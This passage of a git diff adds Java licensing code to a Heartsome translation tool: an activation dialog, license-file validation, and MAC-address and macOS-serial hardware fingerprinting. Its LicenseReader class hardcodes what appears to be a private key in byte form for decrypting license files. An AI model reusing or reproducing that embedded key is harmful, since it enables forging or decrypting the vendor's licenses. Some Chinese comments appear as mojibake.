SWT.WRAP); + GridData dataLabel = new GridData(GridData.FILL_HORIZONTAL); + noticeLbl.setLayoutData(dataLabel); + noticeLbl.setText(MessageFormat.format( + Messages.getString("license.LicenseManageDialog.licenseExceptionInfo1"), + StringUtils.getErrorCode(type))); + } else { + Label statusLbl1 = new Label(comp0, SWT.NONE); + statusLbl1.setText(Messages.getString("license.LicenseManageDialog.licenseException")); + + Composite comp1 = new Composite(statusGroup, SWT.NONE); + GridData data1 = new GridData(GridData.GRAB_HORIZONTAL | GridData.FILL_BOTH); + comp1.setLayoutData(data1); + GridLayout layout1 = new GridLayout(); + comp1.setLayout(layout1); + + Label noticeLbl = new Label(comp1, SWT.WRAP); + GridData dataLabel = new GridData(GridData.FILL_HORIZONTAL); + noticeLbl.setLayoutData(dataLabel); + noticeLbl.setText(MessageFormat.format( + Messages.getString("license.LicenseManageDialog.licenseExceptionInfo"), + StringUtils.getErrorCode(type))); + } + } + + private void createActiveComp(Composite parent) { + Group licenseIdGroup = new Group(parent, SWT.NONE); + licenseIdGroup.setText(Messages.getString("license.LicenseManageDialog.licenseIdGroup")); + GridData dataLicenseIdGroup = new GridData(GridData.GRAB_HORIZONTAL | GridData.FILL_HORIZONTAL); + dataLicenseIdGroup.heightHint = 110; + licenseIdGroup.setLayoutData(dataLicenseIdGroup); + GridLayout layoutGroup = new GridLayout(2, false); + layoutGroup.marginLeft = 5; + layoutGroup.marginHeight = 10; + licenseIdGroup.setLayout(layoutGroup); + + Label label = new Label(licenseIdGroup, SWT.NONE); + label.setText(Messages.getString("license.LicenseManageDialog.licenseIdLabel")); + + createIdInputComp(licenseIdGroup); + + Composite compLink = new Composite(licenseIdGroup, SWT.NONE); + RowLayout layoutLink = new RowLayout(); + layoutLink.marginTop = 20; + layoutLink.marginRight = 0; + layoutLink.marginLeft = 0; + layoutLink.marginBottom = 10; + compLink.setLayout(layoutLink); + GridData linkData = new GridData(GridData.FILL_HORIZONTAL); + linkData.horizontalSpan = 2; + compLink.setLayoutData(linkData); + + Label label1 = new Label(compLink, SWT.NONE); + label1.setText(Messages.getString("license.LicenseManageDialog.label1")); + + if (!"L".equals(System.getProperty("TSEdition"))) { + Label link1 = new Label(compLink, SWT.NONE); + link1.setText(Messages.getString("license.LicenseManageDialog.link1")); + link1.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_BLUE)); + link1.setCursor(cursor); + link1.addMouseListener(new MouseListener() { + + public void mouseUp(MouseEvent e) { + + } + + public void mouseDown(MouseEvent e) { + Program.launch(Messages.getString("license.LicenseManageDialog.urlr8buy") + "&PRODUCT=" + + ProtectionFactory.getProduct() + "&PLATFORM=" + ProtectionFactory.getPlatform()); + } + + public void mouseDoubleClick(MouseEvent e) { + + } + }); + + Label label2 = new Label(compLink, SWT.NONE); + label2.setText(Messages.getString("license.LicenseManageDialog.label2")); + } + + Label link2 = new Label(compLink, SWT.NONE); + link2.setText(Messages.getString("license.LicenseManageDialog.link2")); + link2.setForeground(Display.getDefault().getSystemColor(SWT.COLOR_BLUE)); + link2.setCursor(cursor); + link2.addMouseListener(new MouseListener() { + + public void mouseUp(MouseEvent e) { + + } + + public void mouseDown(MouseEvent e) { + Program.launch(Messages.getString("license.LicenseManageDialog.urlr8trial") + "&PRODUCT=" + + ProtectionFactory.getProduct() + "&PLATFORM=" + ProtectionFactory.getPlatform()); + } + + public void mouseDoubleClick(MouseEvent e) { + + } + }); + + Label label3 = new Label(compLink, SWT.NONE); + label3.setText(Messages.getString("license.LicenseManageDialog.label3")); + } + + private void createBarComp(Composite parent) { + Composite barComp = new Composite(parent, SWT.NONE); + GridLayout barLayout = new GridLayout(); + barLayout.marginTop = 10; + barComp.setLayout(barLayout); + barComp.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + label4 = new Label(barComp, SWT.NONE); + label4.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + bar = new ProgressBar(barComp, SWT.NONE); + bar.setMaximum(10); + bar.setLayoutData(new GridData(GridData.FILL_HORIZONTAL)); + + setVisible(false); + } + + private void setVisible(boolean b) { + if (b) { + label4.setVisible(true); + label4.setText(Messages.getString("license.LicenseManageDialog.label4")); + bar.setVisible(true); + } else { + label4.setVisible(false); + label4.setText(""); + bar.setVisible(false); + bar.setSelection(0); + } + } + + private void createIdInputComp(Composite parent) { + if (type == Constants.STATE_NOT_ACTIVATED || type == Constants.STATE_INVALID || type == Constants.STATE_EXPIRED + || type == Constants.EXCEPTION_INT14 || type == Constants.EXCEPTION_INT15 + || type == Constants.EXCEPTION_INT1 || type == Constants.EXCEPTION_INT2 + || type == Constants.EXCEPTION_INT3 || type == Constants.EXCEPTION_INT4) { + Composite comp = new Composite(parent, SWT.NONE); + GridLayout layout = new GridLayout(11, false); + layout.marginHeight = 0; + layout.marginWidth = 0; + comp.setLayout(layout); + + GridData compData = new GridData(); + comp.setLayoutData(compData); + + GridData textData = new GridData(); + textData.widthHint = 40; + + GridData labelData = new GridData(); + labelData.widthHint = 5; + + text1 = new Text(comp, SWT.BORDER); + text1.setLayoutData(textData); + text1.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String s = text1.getText(); + s = s.replaceAll("-", ""); + int length = s.length(); + for (int i = 0; i < 4; i++) { + if (i >= length) { + break; + } + char c = s.charAt(i); + if (Character.isDigit(c) || Character.isLetter(c)) { + if (i == 3) { + if (length > 4) { + text1.setText(s.substring(0, 4)); + text2.setFocus(); + text2.setText(s.substring(4)); + } else if (length == 4) { + text2.setFocus(); + } + } + } else { + text1.setText(s.substring(0, i)); + break; + } + } + } + + }); + + Label label = new Label(comp, SWT.NONE); + label.setLayoutData(labelData); + + text2 = new Text(comp, SWT.BORDER); + text2.setLayoutData(textData); + text2.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String s = text2.getText(); + s = s.replaceAll("-", ""); + int length = s.length(); + for (int i = 0; i < 4; i++) { + if (i >= length) { + break; + } + char c = s.charAt(i); + if (Character.isDigit(c) || Character.isLetter(c)) { + if (i == 3) { + if (length > 4) { + text2.setText(s.substring(0, 4)); + text3.setFocus(); + text3.setText(s.substring(4)); + } else if (length == 4) { + text3.setFocus(); + } + } + } else { + text2.setText(s.substring(0, i)); + } + } + } + + }); + + label = new Label(comp, SWT.NONE); + label.setLayoutData(labelData); + + text3 = new Text(comp, SWT.BORDER); + text3.setLayoutData(textData); + text3.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String s = text3.getText(); + s = s.replaceAll("-", ""); + int length = s.length(); + for (int i = 0; i < 4; i++) { + if (i >= length) { + break; + } + char c = s.charAt(i); + if (Character.isDigit(c) || Character.isLetter(c)) { + if (i == 3) { + if (length > 4) { + text3.setText(s.substring(0, 4)); + text4.setFocus(); + text4.setText(s.substring(4)); + } else if (length == 4) { + text4.setFocus(); + } + } + } else { + text3.setText(s.substring(0, i)); + } + } + } + + }); + + label = new Label(comp, SWT.NONE); + label.setLayoutData(labelData); + + text4 = new Text(comp, SWT.BORDER); + text4.setLayoutData(textData); + text4.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String s = text4.getText(); + s = s.replaceAll("-", ""); + int length = s.length(); + for (int i = 0; i < 4; i++) { + if (i >= length) { + break; + } + char c = s.charAt(i); + if (Character.isDigit(c) || Character.isLetter(c)) { + if (i == 3) { + if (length > 4) { + text4.setText(s.substring(0, 4)); + text5.setFocus(); + text5.setText(s.substring(4)); + } else if (length == 4) { + text5.setFocus(); + } + } + } else { + text4.setText(s.substring(0, i)); + } + } + } + + }); + + label = new Label(comp, SWT.NONE); + label.setLayoutData(labelData); + + text5 = new Text(comp, SWT.BORDER); + text5.setLayoutData(textData); + text5.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String s = text5.getText(); + s = s.replaceAll("-", ""); + int length = s.length(); + for (int i = 0; i < 4; i++) { + if (i >= length) { + break; + } + char c = s.charAt(i); + if (Character.isDigit(c) || Character.isLetter(c)) { + if (i == 3) { + if (length > 4) { + text5.setText(s.substring(0, 4)); + text6.setFocus(); + text6.setText(s.substring(4)); + } else if (length == 4) { + text6.setFocus(); + } + } + } else { + text5.setText(s.substring(0, i)); + } + } + } + + }); + + label = new Label(comp, SWT.NONE); + label.setLayoutData(labelData); + + text6 = new Text(comp, SWT.BORDER); + text6.setLayoutData(textData); + text6.addModifyListener(new ModifyListener() { + + public void modifyText(ModifyEvent e) { + String s = text6.getText(); + s = s.replaceAll("-", ""); + int length = s.length(); + for (int i = 0; i < 4; i++) { + if (i >= length) { + break; + } + char c = s.charAt(i); + if (Character.isDigit(c) || Character.isLetter(c)) { + if (i == 3) { + if (length > 4) { + text6.setText(s.substring(0, 4)); + } + } + } else { + text6.setText(s.substring(0, i)); + } + } + } + + }); + } else { + text = new Text(parent, SWT.NONE); + text.setText(StringUtils.groupString(licenseId)); + text.setBackground(parent.getBackground()); + text.setEditable(false); + } + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("license.LicenseManageDialog.title")); + } + + @Override + protected Point getInitialSize() { + return new Point(680, 470); + } + + @Override + protected void okPressed() { + LicenseIdValidator va = new LicenseIdValidator(getLicenseId()); + if (va.checkLicense()) { + if (va.checkEdition()) { + setVisible(true); + try { + int r = ServiceUtil.active(getLicenseId(), bar); + if (r == Constants.ACTIVE_OK_INT) { + TeSystemResourceUtil.beforeload(); + TeSystemResourceUtil.load(false); + setVisible(false); + super.okPressed(); + MessageDialog.openInformation(getShell(), + Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.LicenseManageDialog.activeSuccess")); + } else if (r == Constants.RETURN_MUTILTEMPBUNDLE_INT) { + setVisible(false); + MessageDialog.openInformation(getShell(), + Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.LicenseManageDialog.tempMutilActive")); + } else if (r == Constants.RETURN_INVALIDBUNDLE_INT) { + setVisible(false); + MessageDialog.openInformation(getShell(), + Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.LicenseManageDialog.activedLicense")); + } else if (r == Constants.RETURN_INVALIDLICENSE_INT) { + setVisible(false); + MessageDialog.openInformation(getShell(), + Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.LicenseManageDialog.infoInvalid")); + } else if (r == Constants.RETURN_EXPIREDLICENSE_INT) { + setVisible(false); + MessageDialog.openInformation(getShell(), + Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.LicenseManageDialog.expired")); + } else if (r == Constants.RETURN_STOPLICENSE_INT) { + setVisible(false); + MessageDialog.openInformation(getShell(), + Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.LicenseManageDialog.stopLicense")); + } else if (r == Constants.EXCEPTION_INT8) { + setVisible(false); + MessageDialog.openInformation(getShell(), + Messages.getString("license.LicenseManageDialog.notice"), + Messages.getString("license.LicenseManageDialog.activeByAdmin")); + System.exit(0); + } else { + setVisible(false); + MessageDialog.openInformation(getShell(), Messages + .getString("license.LicenseManageDialog.notice"), MessageFormat.format( + Messages.getString("license.LicenseManageDialog.activeFail"), + StringUtils.getErrorCode(r))); + } + } catch (Exception e) { + setVisible(false); + e.printStackTrace(); + + Throwable t = e; + while (t.getCause() != null) { + t = t.getCause(); + } + if (t instanceof java.security.cert.CertificateException) { + MessageDialog.openInformation(getShell(), Messages + .getString("license.LicenseManageDialog.titleNet"), + MessageFormat.format(Messages.getString("license.LicenseManageDialog.infoNet"), + Constants.EXCEPTION_STRING16)); + } else { + MessageDialog.openInformation(getShell(), Messages + .getString("license.LicenseManageDialog.titleNet"), + MessageFormat.format(Messages.getString("license.LicenseManageDialog.infoNet"), + Constants.EXCEPTION_STRING17)); + } + } + } else { + // MessageDialog.openInformation(getShell(), + // Messages.getString("license.LicenseManageDialog.titleInvalid"), + // MessageFormat.format(Messages.getString("license.LicenseManageDialog.infoInvalid1"), + // getVersionContent(System.getProperty("TSEdition")), getVersionContent(new + // LicenseIdGenerator(getLicenseId()).getVersion()))); + String edition1 = getVersionContent(System.getProperty("TSEdition")); + String editionInput = new LicenseIdGenerator(getLicenseId()).getVersion(); + String edition2 = getVersionContent(editionInput); + String message = MessageFormat.format(Messages.getString("license.LicenseManageDialog.infoInvalid1"), + edition1, edition2); + ArrayList> list = new ArrayList>(); + HashMap map1 = new HashMap(); + map1.put("start", message.indexOf(edition1)); + map1.put("length", edition1.length()); + list.add(map1); + HashMap map2 = new HashMap(); + map2.put("start", message.indexOf(edition2)); + map2.put("length", edition2.length()); + list.add(map2); + HashMap map3 = new HashMap(); + map3.put("start", message.lastIndexOf(edition1)); + map3.put("length", edition1.length()); + list.add(map3); + HashMap map4 = new HashMap(); + map4.put("start", message.lastIndexOf(edition2)); + map4.put("length", edition2.length()); + list.add(map4); + new CustomMessageDialog(getShell(), Messages.getString("license.LicenseManageDialog.titleInvalid"), + message, list, editionInput).open(); + } + } else { + MessageDialog.openInformation(getShell(), Messages.getString("license.LicenseManageDialog.titleInvalid"), + Messages.getString("license.LicenseManageDialog.infoInvalid")); + } + } + + private String getLicenseId() { + return text1.getText() + text2.getText() + text3.getText() + text4.getText() + text5.getText() + + text6.getText(); + } + + public static void main(String[] argv) { + Shell shell = new Shell(); + new LicenseManageDialog(shell, 5, null, "121312345678901234567890").open(); + } + + @Override + public boolean close() { + if (cursor != null && !cursor.isDisposed()) { + cursor.dispose(); + } + return super.close(); + } + + private String getVersionContent(String version) { + if ("U".equals(version)) { + return Messages.getString("license.LicenseManageDialog.Ultimate"); + } else if ("F".equals(version)) { + return Messages.getString("license.LicenseManageDialog.Professional"); + } else if ("P".equals(version)) { + return Messages.getString("license.LicenseManageDialog.Personal"); + } else { + return Messages.getString("license.LicenseManageDialog.Lite"); + } + } + + /** + * (non-Javadoc) + * @see net.heartsome.cat.common.ui.dialog.HsAbstractHelpDilog#getDisplayHelpUrl() + */ + @Override + public String getDisplayHelpUrl() { + // TODO Auto-generated method stub + return "/net.heartsome.cat.te.ui.help/html/{0}/ch08.html#license_id"; + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LicenseReader.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LicenseReader.java new file mode 100644 index 0000000..69400cd --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LicenseReader.java @@ -0,0 +1,46 @@ +package net.heartsome.license; + +public class LicenseReader { + private byte[] key = new byte[] {48,-126,4,-67,2,1,0,48,13,6,9,42,-122,72,-122,-9,13,1,1,1,5,0,4,-126,4,-89,48,-126,4,-93,2,1,0,2, + -126,1,1,0,-116,-31,33,-26,26,115,95,-111,-97,62,29,91,-68,-26,19,56,-16,16,115,-127,-120,-58,-20,-52,-2,56,23,-2,-68, + 43,-20,-53,61,16,-10,35,-66,-5,-6,-69,-61,109,69,-26,74,-103,124,-34,-117,-28,-19,93,105,-47,-15,-27,-115,-41,-69,10, + 20,51,-54,70,-93,108,28,85,87,-120,95,-59,-30,-44,-117,8,82,104,39,-71,53,61,50,92,15,-64,-40,121,-55,21,10,86,34,21, + 82,69,-69,25,86,6,-105,19,-86,-86,80,109,-55,19,-81,44,-18,-114,-125,-79,-26,-83,29,90,-127,-3,-100,-86,-4,-72,34,-66, + -71,15,28,-62,93,-3,-119,-73,115,-22,-107,-90,80,-102,-41,24,3,1,-107,-26,55,-83,113,69,-47,-115,-93,7,8,70,28,-38,112, + 95,-44,98,-55,51,-79,-49,-83,4,112,-6,-102,30,-86,60,-121,29,-81,-126,31,-23,-90,108,-119,94,-28,15,-22,-16,91,42,37, + -90,-43,119,120,73,105,-2,31,-64,-85,94,-101,43,-87,-6,-97,19,35,-124,53,-95,-113,94,-101,-113,-18,-52,-93,92,122,-108, + 73,95,85,116,45,29,-118,20,52,-41,114,73,31,-114,-15,71,-44,-38,-91,-48,72,-54,-49,48,-118,79,98,-47,-34,37,-67,95,-81, + -67,2,3,1,0,1,2,-126,1,0,101,-115,-23,12,-31,-26,103,111,39,22,-12,-68,-21,-40,2,-27,89,-112,-46,98,-1,65,62,-12,-85,17, + -82,-94,111,-19,78,30,88,32,0,-1,85,-82,121,89,-97,16,7,-126,114,38,96,-16,96,114,31,117,-26,81,116,-119,-31,13,49,-124, + -101,121,-106,8,3,-56,108,72,76,-8,62,-23,-4,-112,-16,-60,-121,-5,19,31,-100,-76,71,-72,59,-106,-19,-74,36,-15,40,-23, + 92,90,120,91,81,-5,122,-102,-9,-113,50,-56,-31,127,-78,-94,-96,-11,-57,-26,46,35,49,65,123,-42,-127,-68,91,-110,-102, + -24,-10,10,-4,-123,66,-99,-7,83,56,118,27,-96,37,-64,107,120,-81,-29,87,112,-8,121,10,-93,121,-93,54,49,84,-46,-16,-69, + 110,93,113,31,35,-22,-120,-121,-31,-31,17,-73,44,-31,73,114,106,7,-88,-63,48,34,43,-16,-128,-96,-24,-109,-116,92,25,39, + 40,127,4,33,-26,84,-117,72,0,110,112,-6,94,23,85,115,-67,118,80,108,-110,-20,-90,-73,-27,31,-96,-115,-75,113,-29,-117, + -57,-34,3,-92,124,-8,-20,-53,31,27,-88,69,-122,-103,38,42,-15,-110,-14,3,-105,50,-26,38,-14,-44,122,88,-108,70,46,88, + -36,-75,73,-127,2,-127,-127,0,-19,-64,20,102,-53,-80,29,97,-12,68,10,-77,-84,-29,19,63,-77,3,-120,69,-38,80,-49,-52, + 33,-9,25,-81,43,65,119,-40,-37,-76,5,-71,-57,26,-99,-64,41,40,38,124,-102,-60,-39,-121,32,-75,-104,12,95,-62,47,27,8, + 29,68,14,-44,-78,-30,-109,-37,-41,-23,-109,-74,119,109,83,71,63,-62,-32,-126,32,103,-57,101,-95,123,6,-7,13,106,47,41, + -102,-121,122,-28,8,49,34,-90,14,-59,-47,57,-104,124,-92,115,-78,48,-103,40,-90,79,-3,66,-123,-110,99,-128,12,-5,-58, + 110,105,76,-116,-126,-91,1,-31,2,-127,-127,0,-105,-79,124,-8,1,95,35,99,-57,-45,-65,44,-53,93,-18,-17,-4,1,-57,16,-46, + -115,-4,86,-19,96,-125,7,-82,98,47,38,-94,-53,-20,-45,37,86,-65,108,-57,2,108,40,31,-55,-38,-16,86,67,66,-16,104,30, + 108,9,70,-26,-123,-105,-120,-106,-50,-117,31,-101,74,32,103,126,32,-83,-40,-27,-90,-22,-55,-48,124,5,-28,65,65,-102, + -52,-93,65,-65,17,112,-71,29,90,-24,-68,-84,73,-119,109,-52,-25,33,-33,-73,-85,61,78,-47,106,7,-65,43,8,87,22,78,96, + -101,85,50,-52,72,-102,-9,-88,48,33,93,2,-127,-128,25,-99,-119,85,45,-6,-14,-97,124,38,-36,-108,81,59,65,-10,-87,-3, + -26,111,-56,62,-50,-76,-86,-80,41,-41,66,-84,-46,17,-50,82,14,15,-33,16,-46,16,67,30,-19,78,-99,-118,57,-7,-94,31, + -114,-101,62,-79,-8,75,76,75,-126,-22,-86,37,-1,-35,120,97,65,-20,69,75,-122,-66,-29,61,78,108,-53,-8,91,-42,18,-16, + 28,6,59,77,35,-76,-93,33,-32,24,-16,122,-91,120,-101,53,-102,64,-103,-103,1,76,-30,-98,63,56,49,54,2,6,66,101,-117, + -55,38,-95,-65,122,-72,-88,-91,-77,-71,-37,-73,97,2,-127,-127,0,-109,97,-108,-93,120,-31,-80,-122,-81,-115,-95,126, + -86,16,23,-89,-2,-42,-45,76,26,-26,108,-73,32,102,-42,-89,-51,-36,3,39,-84,-96,40,-10,116,-98,-75,-39,-65,-7,48,-112, + 67,98,97,95,-124,-48,80,-25,54,-95,-24,33,-109,75,65,-100,-102,-50,-70,-38,28,-39,73,-55,-10,3,107,72,-67,37,83,105, + 102,-81,50,-16,-98,118,112,-127,48,53,-90,25,55,-98,-89,-100,71,-55,60,22,-64,83,-49,-28,118,-28,72,114,48,-29,-98, + 2,-124,-36,5,-10,-113,97,-35,-128,69,8,102,92,-74,114,12,110,118,112,92,-39,2,-127,-128,18,114,-71,-94,26,-65,-63, + 87,-42,-61,44,-36,80,-63,97,127,40,-99,-67,-9,86,68,16,12,101,-71,75,-41,43,-15,54,119,-26,-126,-16,68,16,99,16, + 22,-83,4,127,126,62,-52,42,-10,-30,-62,-9,-71,-41,-109,-22,98,-69,56,-53,-12,107,-66,106,22,19,-124,122,-74,106, + -126,-39,-27,-37,-22,-67,41,-56,-75,118,120,50,-41,-2,19,83,-48,-53,0,-69,95,-4,18,46,81,116,121,-70,124,-14,68, + -47,-35,-86,56,-34,124,27,-37,-80,56,65,-26,-17,89,121,29,-72,112,-96,98,-115,59,7,76,62,68,-73,-71}; + + public byte[] getLicenseInfo(byte[] b) { + return ProtectionFactory.getEncrypt().decrypt(key, b); + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LinuxSeries.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LinuxSeries.java new file mode 100644 index 0000000..ac8c8a0 --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LinuxSeries.java @@ -0,0 +1,59 @@ +package net.heartsome.license; + +//import java.io.File; +//import java.io.IOException; +import java.net.NetworkInterface; +import java.net.SocketException; +import java.util.Enumeration; + +//import net.heartsome.license.utils.StringUtils; +// +//import org.eclipse.core.runtime.FileLocator; +//import org.eclipse.core.runtime.Platform; +//import org.safehaus.uuid.EthernetAddress; +//import org.safehaus.uuid.NativeInterfaces; + +public class LinuxSeries implements SeriesInterface { + + public String getSeries() { +// try { +//// NativeInterfaces.setLibDir(new File("lib")); +// NativeInterfaces.setLibDir(new File(FileLocator.toFileURL(Platform.getBundle("net.heartsome.cat.ts.help").getEntry("")).getPath() +// + File.separator + System.getProperty("sun.arch.data.model"))); +// EthernetAddress[] macs = NativeInterfaces.getAllInterfaces(); +// String series = ""; +// for (EthernetAddress a : macs) { +// series += a.toString() + "+"; +// } +// return "".equals(series) ? null : StringUtils.removeColon(series.substring(0, series.length() - 1)); +// } catch (IOException e) { +// e.printStackTrace(); +// return null; +// } + + try { + String series = ""; + Enumeration networkInterfaces = NetworkInterface + .getNetworkInterfaces(); + while (networkInterfaces.hasMoreElements()) { + NetworkInterface network = networkInterfaces.nextElement(); + if (!network.getName().startsWith("vmnet") && !network.getName().startsWith("vboxnet")) { + byte[] mac = network.getHardwareAddress(); + if (mac != null && mac.length == 6 && !network.isLoopback() && !network.isVirtual()) { + StringBuilder sb = new StringBuilder(); + for (int i = 0; i < mac.length; i++) { + sb.append(String.format("%02x", mac[i])); + } + sb.append("+"); + series += sb.toString(); + } + } + } + return "".equals(series) ? null : series.substring(0, series.length() - 1); + } catch (SocketException e) { + e.printStackTrace(); + return null; + } + } + +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LocalAuthorizationValidator.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LocalAuthorizationValidator.java new file mode 100644 index 0000000..e61bf1b --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/LocalAuthorizationValidator.java @@ -0,0 +1,160 @@ +package net.heartsome.license; + +import net.heartsome.license.constants.Constants; +import net.heartsome.license.encrypt.InstallKeyEncrypt; +import net.heartsome.license.utils.FileUtils; +import net.heartsome.license.utils.StringUtils; + +public class LocalAuthorizationValidator { + + private boolean isTrial = false; + private String licenseId = ""; + private String macCode = null; + + private byte[] b; + + public int checkLicense() { + byte[] t = FileUtils.readFile(ProtectionFactory.getFileName(1, Constants.PRODUCTID)); + if (t == null) { + return Constants.EXCEPTION_INT1; + } + + t = new LicenseReader().getLicenseInfo(t); + if (t == null) { + return Constants.EXCEPTION_INT2; + } + + String[] arrInfo = getStrFromInfo(StringUtils.reverse(new String(t), 1, 5, 2)); + // 修改分隔符之åŽï¼Œæ—§ç‰ˆæœ¬çš„许å¯æ–‡ä»¶ä¼šå¯¼è‡´å¼‚常,所以需è¦åœ¨è¿™é‡Œåˆ¤æ–­ä¸€ä¸‹ï¼Œå¦‚果有异常,则会删掉原有文件,é‡æ–°æ¿€æ´»å³å¯ã€‚ + if (arrInfo.length<3){ + return Constants.STATE_INVALID; + } + String strKeyCode = arrInfo[0]; + String strMacCode = arrInfo[1]; + String strInstallCode = arrInfo[2]; + + LicenseIdValidator va = new LicenseIdValidator(strKeyCode); + if (!va.checkLicense()) { + return Constants.STATE_INVALID; + } + + licenseId = strKeyCode; + + if (!va.checkEdition()) { + return Constants.EXCEPTION_INT14; + } + + isTrial = va.getType(); + + b = FileUtils.readFile(ProtectionFactory.getFileName(2, Constants.PRODUCTID)); + if (b == null) { + return Constants.EXCEPTION_INT3; + } else { + b = InstallKeyEncrypt.decrypt(b); + if (b == null) { + return Constants.EXCEPTION_INT4; + } + } + + if (!strInstallCode.equals(StringUtils.reverse(new String(b), 1, 3, 2))) { + return Constants.STATE_INVALID; + } + + String curMacCode = ProtectionFactory.getSeries(); + if (!isExsitMac(curMacCode)) { + return Constants.EXCEPTION_INT6; + } + + if (!compareMacCode(curMacCode, strMacCode)) { + return Constants.EXCEPTION_INT15; + } + + macCode = curMacCode; + + System.getProperties().setProperty("TSState", "true"); + return Constants.STATE_VALID; + } + + private boolean isExsitMac(String curMacCode) { + if (curMacCode != null && !"".equals(curMacCode)) { + String[] str = curMacCode.split("%"); + if (str.length == 1) { + if (str[0] != null && !"".equals(str[0])) { + return true; + } + } else if (str.length == 3) { + if (str[2] != null && !"".equals(str[2])) { + return true; + } + } + } + + return false; + } + + private String[] getStrFromInfo(String info) { + return info.split(Constants.SEPARATOR); + } + + /** + * 比较两个硬件指纹是å¦å¯ä»¥è®¤å®šä¸ºåŒä¸€å°æœºå™¨çš„方法 + * + * @param curMacCode + * @param parmMacCode + * @return + */ + private boolean compareMacCode(String curMacCode, String parmMacCode) { + if (curMacCode == null) { + return false; + } + if (curMacCode.equals(parmMacCode)) { + return true; + } else { + String[] str1 = curMacCode.split("%"); + String[] str2 = parmMacCode.split("%"); + + if (str1.length == str2.length) { + if (str1.length == 1) { + String[] str3 = curMacCode.split("[+]"); + String[] str4 = parmMacCode.split("[+]"); + for (int i = 0; i < str3.length; i++) { + for (int j = 0; j < str4.length; j++) { + if (str3[i].equals(str4[j])) { + return true; + } + } + } + } else if (str1.length == 3) { + if (str1[0].equals(str2[0]) && str1[1].equals(str2[1])) { + String[] str3 = str1[2].split("[+]"); + String[] str4 = str2[2].split("[+]"); + for (int i = 0; i < str3.length; i++) { + for (int j = 0; j < str4.length; j++) { + if (str3[i].equals(str4[j])) { + return true; + } + } + } + } + } + } + } + return false; + } + + public boolean isTrial() { + return isTrial; + } + + public String getLicenseId() { + return licenseId; + } + + public byte[] getInstall() { + return b; + } + + public String getMacCode() { + return macCode; + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/MacosxSeries.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/MacosxSeries.java new file mode 100644 index 0000000..708a86b --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/MacosxSeries.java @@ -0,0 +1,73 @@ +package net.heartsome.license; + +import java.io.IOException; +import java.io.InputStream; +import java.util.ArrayList; + +public class MacosxSeries implements SeriesInterface { + + public String getSeries() { + try { + String[] commands = new String[] {"/bin/bash", "-c", "ioreg -rd1 -c IOPlatformExpertDevice | " + + "awk '/IOPlatformSerialNumber/ { split($0, line, \"\\\"\"); printf(\"%s\\n\", line[4]); }'"}; + Process process = Runtime.getRuntime().exec(commands); + + ReadThread inputReadThread = new ReadThread(process.getInputStream()); + inputReadThread.start(); + + //ç¡®ä¿æ ‡å‡†ä¸Žé”™è¯¯æµéƒ½è¯»å®Œæ—¶æ‰å‘外界返回执行结果 + while (true) { + if (inputReadThread.flag) { + break; + } else { + Thread.sleep(1000); + } + } + String series = inputReadThread.getResult(); + return "".equals(series) ? null : series; + } catch (IOException e) { + e.printStackTrace(); + } catch (InterruptedException e) { + e.printStackTrace(); + } + return null; + } + + /* + * 标准æµä¸Žé”™è¯¯æµè¯»å–线程 + */ + private static class ReadThread extends Thread { + private InputStream is; + + private ArrayList result = new ArrayList(); + + public boolean flag;// æµæ˜¯å¦è¯»å–完毕 + + public ReadThread(InputStream is) { + this.is = is; + } + + // 获å–命令执行åŽè¾“出信æ¯ï¼Œå¦‚果没有则返回空""字符串 + protected String getResult() { + byte[] byteArr = new byte[result.size()]; + for (int i = 0; i < result.size(); i++) { + byteArr[i] = ((Byte) result.get(i)).byteValue(); + } + return new String(byteArr); + } + + public void run() { + try { + int readInt = is.read(); + while (readInt != -1) { + result.add(Byte.valueOf(String.valueOf((byte) readInt))); + readInt = is.read(); + } + + flag = true;// æµå·²è¯»å®Œ + } catch (Exception e) { + e.printStackTrace(); + } + } + } +} diff --git a/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/OffLineActiveService.java b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/OffLineActiveService.java new file mode 100644 index 0000000..36d906f --- /dev/null +++ b/base_plugins/net.heartsome.cat.te.qa/src/net/heartsome/license/OffLineActiveService.java @@ -0,0 +1,136 @@ +package net.heartsome.license; + +import net.heartsome.license.constants.Constants; +import net.heartsome.license.encrypt.InstallKeyEncrypt; +import net.heartsome.license.generator.IKeyGenerator; +import net.heartsome.license.generator.KeyGeneratorImpl; +import net.heartsome.license.utils.FileUtils; +import net.heartsome.license.utils.StringUtils; + +public class OffLineActiveService { + + private String installKey; + + /** + * 脱机激活时选择授æƒæ–‡ä»¶å¯¹è¯æ¡†æ¿€æ´»æ—¶çš„éªŒè¯ + * @param fileName 文件å + * @return ; + */ + public int activeByGrantFile(String fileName) { + boolean result = FileUtils.writeFile(new byte[] {'1','1'}, 